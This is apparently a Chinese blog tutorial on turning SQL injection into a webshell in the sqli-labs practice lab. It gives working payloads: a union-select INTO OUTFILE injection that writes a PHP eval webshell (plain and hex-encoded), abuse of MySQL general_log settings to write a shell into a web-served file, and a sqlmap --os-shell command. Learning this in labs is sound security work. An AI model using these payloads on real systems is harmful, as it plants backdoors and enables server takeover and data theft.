首页 > 数据库 >sql注入getshell

sql注入getshell

时间:2023-03-19 22:23:09浏览次数:38  
标签:getshell shell 写入 labs sqli sql 日志 php 注入

前提条件:

1.需要知道网站的绝对路径

2.secure_file_priv的值为空

3.需要足够的权限

4.GPC关闭可使用单引号

 

实验环境:sqli-labs-1

网站绝对路径:E:\phpstudy_pro\WWW\sqli-labs-master\Less-1

首先看secure_file_priv的值,如下,代表mysql有写入的权限

 

 查看源码,没有任何防护,采用单引号闭合

 

 利用into outfile函数来写入文件

?id=1' union select 1,<?php eval($_POST['shell']);?>,3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\shell.php'--+

出现错误,原因是因为特殊符号导致出错,用16进制对一句话木马进行编码

 

 

 

0x3C3F706870206576616C28245F504F53545B277368656C6C275D293B3F3E

最终的payload:

?id=1' union select 1,0x3C3F706870206576616C28245F504F53545B277368656C6C275D293B3F3E,3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\shell.php'--+

shell.php成功写入

 

 可以拿蚁剑进行连接

 

sql注入日志写入shell

 

当我们访问sql的时候就会有对应日志生成

我们可以利用这一点然后在日志中写入一句话木马进行shell连接

首先我们要查看是否又开始日志记录并查看日志绝对路径

 

show variables like '%general%'

 

 

然后我们需要开启日志记录并且对日志路径进行修改放在网站路径下

 

set global general_log='on';

SET global general_log_file='<网站绝对路径>/shell.php'

 

 

 

 

 

 

 

 

 搜索语句便会记录在sql日志当中,然后蚁剑就可以连接了

SELECT '<?php @eval($_POST["x"]);?>';

 

 

 

还可以sqlmap --os-shell来进行文件写入

原理:--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

对于mysql数据库来说,--os-shell的本质就是写入两个php文件,其中tmpugvzq.php可以让我们上传文件到网站下,让我们命令执行,并将输出的内容返回sqlmap端,另一个tmpucuaj.php返回可以让我们执行系统命令的命令行;简单的说就是先传小马再传自己的大马。

payload:sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-shell

选择网站语言,网站的绝对路径

 

 

 

 

 查看根目录

 

 

 tmpbbxhv.php文件代码(作用执行cmd命令)

tmputxob.php文件代码(用来文件上传)

 

标签:getshell,shell,写入,labs,sqli,sql,日志,php,注入
From: https://www.cnblogs.com/mu-yi2/p/17234555.html

相关文章

  • 线上sql执行慢,分享3个优化案例
    前段时间,博主线上项目的几个后端接口执行耗时达到了三、四秒钟以上,查看接口代码,发现sql语句执行过慢,于是开始分析sql执行这里把比较经典的优化案例分享给大家。本文......
  • SQL Server开启1433端口,彻底解决方案
    SQLServer开启1433端口,彻底解决方案yaohan404关注IP属地:广东0.1782018.01.0510:34:18字数377阅读29,057环境:Windows10+SQLServer2008在用JDBC连接SQLSe......
  • Microsoft SQL Server 2022 新特性之 T-SQL 语言增强(一)
    MicrosoftSQLServer2022已经​​正式发布​​​,可以下载使用。本文给大家介绍一下该版本中的部分 ​​T-SQL​​ 新功能。​​窗口函数​​增强新版本中的窗口函数支......
  • Microsoft SSQL Server 2022 新特性之 T-SQL 语言增强(二)
    SON函数增强新版本中的ISJSON()函数增加了一个可选参数:ISJSON(expression[,json_type_constraint])1参数json_type_constraint用于指定要测试的JSON类型,包括VA......
  • 67.Mysql的组复制
    Mysql的组复制(groupcommit)AnInnoDBoptimizationthatperformssomelow-levelI/Ooperations(logwrite)onceforasetofcommitoperations, rathertha......
  • homebrew 安装postgresql 记录
    homebrew安装记录homebrew可以更好的在mac或liunx上管理软件包,其具有以下优点:Homebrew会将软件包安装到独立目录,并将其文件软链接至/opt/homebrew。Homebrew......
  • Mac+Python3环境安装mysqlclient包:OSError: mysql_config not found
    Django默认使用了sqlite数据库,实际过程中往往使用其他数据库,例如mysql。Django项目连接MySQL数据库必须要安装相应的驱动包,由于是Python3所以这里使用了mysqlclient包。......
  • 备份 MySQL 中的用户和权限
    概述有两种简单的方法可以只备份MySQL中的用户和权限解决方案1-使用mysqlpump实用程序(作为创建用户和授权语句)[shell~]$mysqlpump-uUSER-p--exclude-database......
  • 了解SQL Server 2022的最新功能和未来规划
    微软已经正式发布了备受期待的SQLServer2022,乍一看,它更像是在为Azure推销产品。对安全性和性能特性进行改进,以及一些对Azure更加友好的功能,SQLServer2022用户当然可以期......
  • 【转载】MySQL:多个事务更新同一行数据时,通过加行锁避免脏写的
    【转载】MySQL:多个事务更新同一行数据时,通过加行锁避免脏写的引入多个事务并发运行的时候,如果同时要读写一批数据,此时读和写事件的关系需要协调好,否则可能会有脏读、不......